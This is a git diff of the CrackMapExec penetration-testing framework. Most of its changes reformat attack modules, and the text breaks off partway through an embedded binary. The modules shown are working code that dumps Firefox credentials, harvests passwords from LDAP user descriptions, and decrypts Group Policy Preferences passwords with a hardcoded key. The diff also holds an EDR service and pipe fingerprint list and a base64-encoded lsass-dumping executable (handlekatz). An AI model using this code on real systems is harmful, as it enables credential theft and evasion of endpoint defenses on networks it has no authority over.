"Sophos System Protection Service" + } + ], + "pipes": [ + {"name": "SophosUI", "processes": [""]}, + {"name": "SophosEventStore", "processes": [""]}, + {"name": "sophos_deviceencryption", "processes": [""]}, + {"name": "sophoslivequery_*", "processes": [""]}, + ], }, - { - "name": "Sense", - "description": "Windows Defender Advanced Threat Protection Service" - }, - { - "name": "WdNisSvc", - "description": "Windows Defender Antivirus Network Inspection Service" - } - ], - "pipes": [] - }, - { - "name": "ESET", - "services": [ - { - "name": "ekm", - "description": "ESET" - }, - { - "name": "epfw", - "description": "ESET" - }, - { - "name": "epfwlwf", - "description": "ESET" - }, - { - "name": "epfwwfp", - "description": "ESET" - }, - { - "name": "EraAgentSvc", - "description": "ESET" - } - ], - "pipes": [ - { - "name": "nod_scriptmon_pipe", - "processes": [ - "" - ] - } - ] - }, - { - "name": "CrowdStrike", - "services": [ - { - "name": "CSFalconService", - "description": "CrowdStrike Falcon Sensor Service" - } - ], - "pipes": [ - { - "name": "CrowdStrike\\{*", - "processes": [ - "CSFalconContainer.exe", - "CSFalconService.exe" - ] - } - ] - }, - { - "name": "SentinelOne", - "services": [ - { - "name": "SentinelAgent", - "description": "SentinelOne Endpoint Protection Agent" - }, - { - "name": "SentinelStaticEngine", - "description": "Manage static engines for SentinelOne Endpoint Protection" - }, - { - "name": "LogProcessorService", - "description": "Manage logs for SentinelOne Endpoint Protection" - } - ], - "pipes": [ - { - "name": "SentinelAgentWorkerCert.*", - "processes": [ - "" - ] - }, - { - "name": "DFIScanner.Etw.*", - "processes": [ - "SentinelStaticEngine.exe" - ] - }, - { - "name": "DFIScanner.Inline.*", - "processes": [ - "SentinelAgent.exe" - ] - } - ] - }, - { - "name": "Carbon Black App Control", - "services": [ - { - "name": "Parity", - "description": "Carbon Black App Control Agent" - } - ], - "pipes": [] - }, - { - "name": "Cybereason", - "services": [ - { - "name": "CybereasonActiveProbe", - "description": "Cybereason Active Probe" - }, - { - "name": "CybereasonCRS", - "description": "Cybereason Anti-Ransomware" - }, - { - "name": "CybereasonBlocki", - "description": "Cybereason Execution Prevention" - } - ], - "pipes": [ - { - "name": "CybereasonAPConsoleMinionHostIpc_*", - "processes": [ - "minionhost.exe" - ] - }, - { - "name": "CybereasonAPServerProxyIpc_*", - "processes": [ - "minionhost.exe" - ] - } - ] - }, - { - "name": "Symantec Endpoint Protection", - "services": [ - { - "name": "SepMasterService", - "description": "Symantec Endpoint Protection" - }, - { - "name": "SepScanService", - "description": "Symantec Endpoint Protection Scan Services" - }, - { - "name": "SNAC", - "description": "Symantec Network Access Control" - } - ], - "pipes": [] - } - ] + ] } diff --git a/cme/modules/enum_dns.py b/cme/modules/enum_dns.py index 5622ea8f..0e0c2ae0 100644 --- a/cme/modules/enum_dns.py +++ b/cme/modules/enum_dns.py @@ -10,6 +10,7 @@ class CMEModule: Uses WMI to dump DNS from an AD DNS Server. Module by @fang0654 """ + name = "enum_dns" description = "Uses WMI to dump DNS from an AD DNS Server" supported_protocols = ["smb"] @@ -26,8 +27,8 @@ class CMEModule: DOMAIN Domain to enumerate DNS for. Defaults to all zones. """ self.domains = None - if module_options and 'DOMAIN' in module_options: - self.domains = module_options['DOMAIN'] + if module_options and "DOMAIN" in module_options: + self.domains = module_options["DOMAIN"] def on_admin_login(self, context, connection): if not self.domains: @@ -36,24 +37,27 @@ class CMEModule: if output: for result in output: - domains.append(result['Name']['value']) + domains.append(result["Name"]["value"]) - context.log.success('Domains retrieved: {}'.format(domains)) + context.log.success("Domains retrieved: {}".format(domains)) else: domains = [self.domains] data = "" for domain in domains: - output = connection.wmi(f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", "root\\microsoftdns") - + output = connection.wmi( + f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", + "root\\microsoftdns", + ) + if output: domain_data = {} context.log.highlight(f"Results for {domain}") data += f"Results for {domain}\n" for entry in output: - text = entry['TextRepresentation']['value'] - rname = text.split(' ')[0] - rtype = text.split(' ')[2] - rvalue = ' '.join(text.split(' ')[3:]) + text = entry["TextRepresentation"]["value"] + rname = text.split(" ")[0] + rtype = text.split(" ")[2] + rvalue = " ".join(text.split(" ")[3:]) if domain_data.get(rtype, False): domain_data[rtype].append(f"{rname}: {rvalue}") else: @@ -63,10 +67,9 @@ class CMEModule: context.log.highlight(f"Record Type: {k}") data += f"Record Type: {k}\n" for d in sorted(v): - context.log.highlight("\t"+d) + context.log.highlight("\t" + d) data += "\t" + d + "\n" - log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) + log_name = "DNS-Enum-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) context.log.display(f"Saved raw output to {log_name}") - diff --git a/cme/modules/example_module.py b/cme/modules/example_module.py index ca010795..4cab21d3 100644 --- a/cme/modules/example_module.py +++ b/cme/modules/example_module.py @@ -1,11 +1,13 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + class CMEModule: """ Example Module by @yomama """ + name = "example module" description = "I do something" supported_protocols = [] diff --git a/cme/modules/firefox.py b/cme/modules/firefox.py index 52df6925..c58de4e1 100644 --- a/cme/modules/firefox.py +++ b/cme/modules/firefox.py @@ -9,15 +9,16 @@ class CMEModule: Inspired by firefox looting from DonPAPI https://github.com/login-securite/DonPAPI """ - name = 'firefox' - description = 'Dump credentials from Firefox' - supported_protocols = ['smb'] + + name = "firefox" + description = "Dump credentials from Firefox" + supported_protocols = ["smb"] opsec_safe = True # Does the module touch disk? multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): """Dump credentials from Firefox""" - pass + pass def on_admin_login(self, context, connection): host = connection.hostname + "." + connection.domain @@ -48,6 +49,14 @@ class CMEModule: firefox_triage.upgrade_connection(connection=connection.conn) firefox_credentials = firefox_triage.run() for credential in firefox_credentials: - context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url != '' else '-', credential.username, credential.password)) + context.log.highlight( + "[%s][FIREFOX] %s %s:%s" + % ( + credential.winuser, + credential.url + " -" if credential.url != "" else "-", + credential.username, + credential.password, + ) + ) except Exception as e: context.log.debug("Error while looting firefox: {}".format(e)) diff --git a/cme/modules/get-desc-users.py b/cme/modules/get-desc-users.py index 54aa78b5..1832b0bd 100644 --- a/cme/modules/get-desc-users.py +++ b/cme/modules/get-desc-users.py @@ -9,31 +9,32 @@ from cme.logger import cme_logger class CMEModule: """ - Get description of users - Module by @nodauf + Get description of users + Module by @nodauf """ - name = 'get-desc-users' - description = 'Get description of the users. May contained password' - supported_protocols = ['ldap'] + + name = "get-desc-users" + description = "Get description of the users. May contained password" + supported_protocols = ["ldap"] opsec_safe = True # Does the module touch disk? multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): """ - FILTER Apply the FILTER (grep-like) (default: '') - PASSWORDPOLICY Is the windows password policy enabled ? (default: False) - MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6) + FILTER Apply the FILTER (grep-like) (default: '') + PASSWORDPOLICY Is the windows password policy enabled ? (default: False) + MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6) """ - self.FILTER = '' - self.MINLENGTH = '6' + self.FILTER = "" + self.MINLENGTH = "6" self.PASSWORDPOLICY = False - if 'FILTER' in module_options: - self.FILTER = module_options['FILTER'] - if 'MINLENGTH' in module_options: - self.MINLENGTH = module_options['MINLENGTH'] - if 'PASSWORDPOLICY' in module_options: + if "FILTER" in module_options: + self.FILTER = module_options["FILTER"] + if "MINLENGTH" in module_options: + self.MINLENGTH = module_options["MINLENGTH"] + if "PASSWORDPOLICY" in module_options: self.PASSWORDPOLICY = True - self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following + self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following def on_login(self, context, connection): """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection""" @@ -41,13 +42,15 @@ class CMEModule: searchFilter = "(objectclass=user)" try: - context.log.debug('Search Filter=%s' % searchFilter) - resp = connection.ldapConnection.search(searchFilter=searchFilter, - attributes=['sAMAccountName','description'], - sizeLimit=0) + context.log.debug("Search Filter=%s" % searchFilter) + resp = connection.ldapConnection.search( + searchFilter=searchFilter, + attributes=["sAMAccountName", "description"], + sizeLimit=0, + ) except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -57,33 +60,33 @@ class CMEModule: return False answers = [] - context.log.debug('Total of records returned %d' % len(resp)) + context.log.debug("Total of records returned %d" % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - sAMAccountName = '' - description = '' + sAMAccountName = "" + description = "" try: - for attribute in item['attributes']: - if str(attribute['type']) == 'sAMAccountName': - sAMAccountName = str(attribute['vals'][0]) - elif str(attribute['type']) == 'description': - description = attribute['vals'][0] - if sAMAccountName != '' and description != '': - answers.append([sAMAccountName,description]) + for attribute in item["attributes"]: + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = str(attribute["vals"][0]) + elif str(attribute["type"]) == "description": + description = attribute["vals"][0] + if sAMAccountName != "" and description != "": + answers.append([sAMAccountName, description]) except Exception as e: context.log.debug("Exception:", exc_info=True) - context.log.debug('Skipping item, cannot process due to error %s' % str(e)) + context.log.debug("Skipping item, cannot process due to error %s" % str(e)) pass answers = self.filter_answer(context, answers) if len(answers) > 0: - context.log.success('Found following users: ') + context.log.success("Found following users: ") for answer in answers: - context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1])) + context.log.highlight("User: {} description: {}".format(answer[0], answer[1])) def filter_answer(self, context, answers): # No option to filter - if self.FILTER == '' and not self.PASSWORDPOLICY: + if self.FILTER == "" and not self.PASSWORDPOLICY: context.log.debug("No filter option enabled") return answers answersFiltered = [] @@ -93,21 +96,21 @@ class CMEModule: conditionFilter = False description = str(answer[1]) # Filter - if self.FILTER != '': + if self.FILTER != "": conditionFilter = False if self.FILTER in description: conditionFilter = True - + # Password policy if self.PASSWORDPOLICY: conditionPasswordPolicy = False if self.regex.search(description): conditionPasswordPolicy = True - - if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy): - answersFiltered.append([answer[0],description]) + + if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy: + answersFiltered.append([answer[0], description]) elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy: - answersFiltered.append([answer[0],description]) + answersFiltered.append([answer[0], description]) elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter: - answersFiltered.append([answer[0],description]) + answersFiltered.append([answer[0], description]) return answersFiltered diff --git a/cme/modules/get_netconnections.py b/cme/modules/get_netconnections.py index 74cca8c0..df8c636e 100755 --- a/cme/modules/get_netconnections.py +++ b/cme/modules/get_netconnections.py @@ -5,17 +5,18 @@ from datetime import datetime from cme.helpers.logger import write_log import json + class CMEModule: """ - Uses WMI to extract network connections, used to find multi-homed hosts. - Module by @fang0654 + Uses WMI to extract network connections, used to find multi-homed hosts. + Module by @fang0654 """ - name = 'get_netconnections' - description = 'Uses WMI to query network connections.' - supported_protocols = ['smb'] - opsec_safe= True + name = "get_netconnections" + description = "Uses WMI to query network connections." + supported_protocols = ["smb"] + opsec_safe = True multiple_hosts = True def options(self, context, module_options): @@ -25,16 +26,14 @@ class CMEModule: pass def on_admin_login(self, context, connection): - data = [] cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") for c in cards: - if c['IPAddress'].get('value'): + if c["IPAddress"].get("value"): context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}") - + data.append(cards) - log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) + log_name = "network-connections-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(json.dumps(data), log_name) context.log.display("Saved raw output to {}".format(log_name)) - diff --git a/cme/modules/gpp_autologin.py b/cme/modules/gpp_autologin.py index 5561395d..c947dfa1 100644 --- a/cme/modules/gpp_autologin.py +++ b/cme/modules/gpp_autologin.py @@ -4,60 +4,59 @@ import xml.etree.ElementTree as ET from io import BytesIO + class CMEModule: """ - Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 - Module by @byt3bl33d3r + Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 + Module by @byt3bl33d3r """ - name = 'gpp_autologin' - description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.' - supported_protocols = ['smb'] + name = "gpp_autologin" + description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password." + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): shares = connection.shares() for share in shares: - if share['name'] == 'SYSVOL' and 'READ' in share['access']: + if share["name"] == "SYSVOL" and "READ" in share["access"]: + context.log.success("Found SYSVOL share") + context.log.display("Searching for Registry.xml") - context.log.success('Found SYSVOL share') - context.log.display('Searching for Registry.xml') - - paths = connection.spider('SYSVOL', pattern=['Registry.xml']) + paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) for path in paths: - context.log.display('Found {}'.format(path)) + context.log.display("Found {}".format(path)) buf = BytesIO() - connection.conn.getFile('SYSVOL', path, buf.write) + connection.conn.getFile("SYSVOL", path, buf.write) xml = ET.fromstring(buf.getvalue()) if xml.findall('.//Properties[@name="DefaultPassword"]'): usernames = [] passwords = [] - domains = [] + domains = [] xml_section = xml.findall(".//Properties") for section in xml_section: attrs = section.attrib - if attrs['name'] == 'DefaultPassword': - passwords.append(attrs['value']) + if attrs["name"] == "DefaultPassword": + passwords.append(attrs["value"]) - if attrs['name'] == 'DefaultUserName': - usernames.append(attrs['value']) + if attrs["name"] == "DefaultUserName": + usernames.append(attrs["value"]) - if attrs['name'] == 'DefaultDomainName': - domains.append(attrs['value']) + if attrs["name"] == "DefaultDomainName": + domains.append(attrs["value"]) if usernames or passwords: - context.log.success('Found credentials in {}'.format(path)) - context.log.highlight('Usernames: {}'.format(usernames)) - context.log.highlight('Domains: {}'.format(domains)) - context.log.highlight('Passwords: {}'.format(passwords)) \ No newline at end of file + context.log.success("Found credentials in {}".format(path)) + context.log.highlight("Usernames: {}".format(usernames)) + context.log.highlight("Domains: {}".format(domains)) + context.log.highlight("Passwords: {}".format(passwords)) diff --git a/cme/modules/gpp_password.py b/cme/modules/gpp_password.py index 3702de07..136d0251 100644 --- a/cme/modules/gpp_password.py +++ b/cme/modules/gpp_password.py @@ -7,89 +7,107 @@ from base64 import b64decode from binascii import unhexlify from io import BytesIO + class CMEModule: """ - Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 - Module by @byt3bl33d3r + Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 + Module by @byt3bl33d3r """ - name = 'gpp_password' - description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.' - supported_protocols = ['smb'] + name = "gpp_password" + description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences." + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): shares = connection.shares() for share in shares: - if share['name'] == 'SYSVOL' and 'READ' in share['access']: + if share["name"] == "SYSVOL" and "READ" in share["access"]: + context.log.success("Found SYSVOL share") + context.log.display("Searching for potential XML files containing passwords") - context.log.success('Found SYSVOL share') - context.log.display('Searching for potential XML files containing passwords') - - paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml']) + paths = connection.spider( + "SYSVOL", + pattern=[ + "Groups.xml", + "Services.xml", + "Scheduledtasks.xml", + "DataSources.xml", + "Printers.xml", + "Drives.xml", + ], + ) for path in paths: - context.log.display('Found {}'.format(path)) + context.log.display("Found {}".format(path)) buf = BytesIO() - connection.conn.getFile('SYSVOL', path, buf.write) + connection.conn.getFile("SYSVOL", path, buf.write) xml = ET.fromstring(buf.getvalue()) sections = [] - if 'Groups.xml' in path: - sections.append('./User/Properties') + if "Groups.xml" in path: + sections.append("./User/Properties") - elif 'Services.xml' in path: - sections.append('./NTService/Properties') + elif "Services.xml" in path: + sections.append("./NTService/Properties") - elif 'ScheduledTasks.xml' in path: - sections.append('./Task/Properties') - sections.append('./ImmediateTask/Properties') - sections.append('./ImmediateTaskV2/Properties') - sections.append('./TaskV2/Properties') + elif "ScheduledTasks.xml" in path: + sections.append("./Task/Properties") + sections.append("./ImmediateTask/Properties") + sections.append("./ImmediateTaskV2/Properties") + sections.append("./TaskV2/Properties") - elif 'DataSources.xml' in path: - sections.append('./DataSource/Properties') + elif "DataSources.xml" in path: + sections.append("./DataSource/Properties") - elif 'Printers.xml' in path: - sections.append('./SharedPrinter/Properties') - - elif 'Drives.xml' in path: - sections.append('./Drive/Properties') + elif "Printers.xml" in path: + sections.append("./SharedPrinter/Properties") + elif "Drives.xml" in path: + sections.append("./Drive/Properties") for section in sections: xml_section = xml.findall(section) for attr in xml_section: props = attr.attrib - if 'cpassword' in props: - for user_tag in ['userName', 'accountName', 'runAs', 'username']: + if "cpassword" in props: + for user_tag in [ + "userName", + "accountName", + "runAs", + "username", + ]: if user_tag in props: username = props[user_tag] - password = self.decrypt_cpassword(props['cpassword']) + password = self.decrypt_cpassword(props["cpassword"]) - context.log.success('Found credentials in {}'.format(path)) - context.log.highlight('Password: {}'.format(password)) - for k,v in props.items(): - if k != 'cpassword': - context.log.highlight('{}: {}'.format(k, v)) + context.log.success("Found credentials in {}".format(path)) + context.log.highlight("Password: {}".format(password)) + for k, v in props.items(): + if k != "cpassword": + context.log.highlight("{}: {}".format(k, v)) hostid = context.db.get_hosts(connection.host)[0][0] - context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid) + context.db.add_credential( + "plaintext", + "", + username, + password, + pillaged_from=hostid, + ) def decrypt_cpassword(self, cpassword): - - #Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 + # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 - key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b') + key = unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b") cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) IV = "\x00" * 16 diff --git a/cme/modules/groupmembership.py b/cme/modules/groupmembership.py index 2825a29e..459d6032 100644 --- a/cme/modules/groupmembership.py +++ b/cme/modules/groupmembership.py @@ -7,16 +7,16 @@ from impacket.ldap import ldap as ldap_impacket class CMEModule: """ - Created as a contributtion from HackTheBox Academy team for CrackMapExec - Reference: https://academy.hackthebox.com/module/details/84 + Created as a contributtion from HackTheBox Academy team for CrackMapExec + Reference: https://academy.hackthebox.com/module/details/84 - Module by @juliourena - Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py + Module by @juliourena + Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py """ - name = 'groupmembership' + name = "groupmembership" description = "Query the groups to which a user belongs." - supported_protocols = ['ldap'] + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -26,13 +26,13 @@ class CMEModule: """ self.user = "" - if 'USER' in module_options: - if module_options['USER'] == "": - context.log.fail('Invalid value for USER option!') + if "USER" in module_options: + if module_options["USER"] == "": + context.log.fail("Invalid value for USER option!") exit(1) - self.user = module_options['USER'] + self.user = module_options["USER"] else: - context.log.fail('Missing USER option, use --options to list available parameters') + context.log.fail("Missing USER option, use --options to list available parameters") exit(1) def on_login(self, context, connection): @@ -41,13 +41,15 @@ class CMEModule: searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user) try: - context.log.debug('Search Filter=%s' % searchFilter) - resp = connection.ldapConnection.search(searchFilter=searchFilter, - attributes=['memberOf','primaryGroupID'], - sizeLimit=0) + context.log.debug("Search Filter=%s" % searchFilter) + resp = connection.ldapConnection.search( + searchFilter=searchFilter, + attributes=["memberOf", "primaryGroupID"], + sizeLimit=0, + ) except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -57,32 +59,32 @@ class CMEModule: return False memberOf = [] - primaryGroupID = '' + primaryGroupID = "" - context.log.debug('Total of records returned %d' % len(resp)) + context.log.debug("Total of records returned %d" % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue try: - for attribute in item['attributes']: - if str(attribute['type']) == 'primaryGroupID': - primaryGroupID = attribute['vals'][0] + for attribute in item["attributes"]: + if str(attribute["type"]) == "primaryGroupID": + primaryGroupID = attribute["vals"][0] # Hardcode value for Domain Users primary Group ID 513 # For future improvement maybe we can query the primary ID value # Reference: https://social.technet.microsoft.com/Forums/Azure/en-US/373febac-665c-494d-91f7-834541c74bee/cant-get-all-member-objects-from-domain-users-in-ldap?forum=winserverDS - if str(primaryGroupID) == "513": + if str(primaryGroupID) == "513": memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX") - elif str(attribute['type']) == 'memberOf': - for group in attribute['vals']: + elif str(attribute["type"]) == "memberOf": + for group in attribute["vals"]: if isinstance(group._value, bytes): memberOf.append(str(group)) - + except Exception as e: context.log.debug("Exception:", exc_info=True) - context.log.debug('Skipping item, cannot process due to error %s' % str(e)) + context.log.debug("Skipping item, cannot process due to error %s" % str(e)) pass if len(memberOf) > 0: - context.log.success(u'User: {} is member of following groups: '.format(self.user)) + context.log.success("User: {} is member of following groups: ".format(self.user)) for group in memberOf: # Split the string on the "," character to get a list of the group name and parent group names group_parts = group.split(",") @@ -92,4 +94,4 @@ class CMEModule: group_name = group_parts[0].split("=")[1] # print("Group name: %s" % group_name) - context.log.highlight(u'{}'.format(group_name)) + context.log.highlight("{}".format(group_name)) diff --git a/cme/modules/handlekatz.py b/cme/modules/handlekatz.py index 331abb10..336eaf08 100644 --- a/cme/modules/handlekatz.py +++ b/cme/modules/handlekatz.py @@ -13,25 +13,26 @@ from cme.helpers.bloodhound import add_user_bh class CMEModule: - name = "handlekatz" description = "Get lsass dump using handlekatz64 and parse the result with pypykatz" supported_protocols = ["smb"] - opsec_safe = True + opsec_safe = False multiple_hosts = True def options(self, context, module_options): """ - TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) - HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/) - HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe) - DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH) + TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) + HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/) + HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe) + DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH) """ self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] - self.handlekatz_embeded = base64.b64decode("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